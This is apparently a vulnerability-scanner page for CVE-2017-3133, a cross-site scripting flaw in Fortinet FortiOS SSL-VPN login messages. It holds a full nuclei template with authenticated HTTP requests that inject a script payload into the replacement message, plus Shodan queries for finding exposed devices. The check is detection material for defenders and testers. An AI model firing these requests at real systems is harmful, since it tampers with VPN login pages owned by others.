Fortinet FortiOS < 5.6.0 - Cross-Site Scripting

mediumseverity

6.1CVSS score

10.7%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

A Cross-Site Scripting vulnerability in Fortinet FortiOS versions 5.6.0 and earlier allows attackers to execute unauthorized code or commands via the Replacement Message HTML for SSL-VPN.

Impact

Successful exploitation could lead to execution of malicious javascript.

Fix

Apply the latest security patches or upgrade to new version to mitigate the XSS vulnerability.

How to confirm it

Send: POST /logincheck ; POST /p/system/replacemsg/edit/sslvpn/sslvpn-login/ ; GET /p/system/replacemsg-group/edit/None/sslvpn/sslvpn-login/
Positive when: contains in body_3 "</textarea><script>alert(document.domain)</script>" AND contains in header_3 "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2017-3133 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2017-3133

info:
  name: Fortinet FortiOS < 5.6.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    A Cross-Site Scripting vulnerability in Fortinet FortiOS versions 5.6.0 and earlier allows attackers to execute unauthorized code or commands via the Replacement Message HTML for SSL-VPN.
  impact: |
    Successful exploitation could lead to execution of malicious javascript.
  remediation: |
    Apply the latest security patches or upgrade to new version to mitigate the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/42388
    - https://nvd.nist.gov/vuln/detail/CVE-2017-3133
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-3133
    cwe-id: CWE-79
    epss-score: 0.10677
    epss-percentile: 0.95845
    cpe: cpe:2.3:o:fortinet:fortios:5.4.0:*:*:*:*:*:*:*
  metadata:
    vendor: fortinet
    product: fortios
    shodan-query:
      - http.html:"/remote/login" "xxxxxxxx"
      - http.favicon.hash:945408572
      - cpe:"cpe:2.3:o:fortinet:fortios"
  tags: cve,cve2017,fortinet,fortios,xss,authenticated,vuln

http:
  - raw:
      - |
        POST /logincheck HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain;charset=UTF-8

        ajax=1&username={{username}}&secretkey={{password}}

      - |
        POST /p/system/replacemsg/edit/sslvpn/sslvpn-login/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-CSRFTOKEN: {{csrf}}
        DNT: 1

        csrfmiddlewaretoken={{csrf}}&buffer=ABC%3C%2Ftextarea%3E%0A%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E%0A

      - |
        GET /p/system/replacemsg-group/edit/None/sslvpn/sslvpn-login/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-CSRFTOKEN: {{csrf}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - "</textarea><script>alert(document.domain)</script>"

      - type: word
        part: header_3
        words:
          - "text/html"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: header
        name: csrf
        group: 2
        regex:
          - 'ccsrftoken_([0-9_a-z]+)="([A-Z0-9]+)";'
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from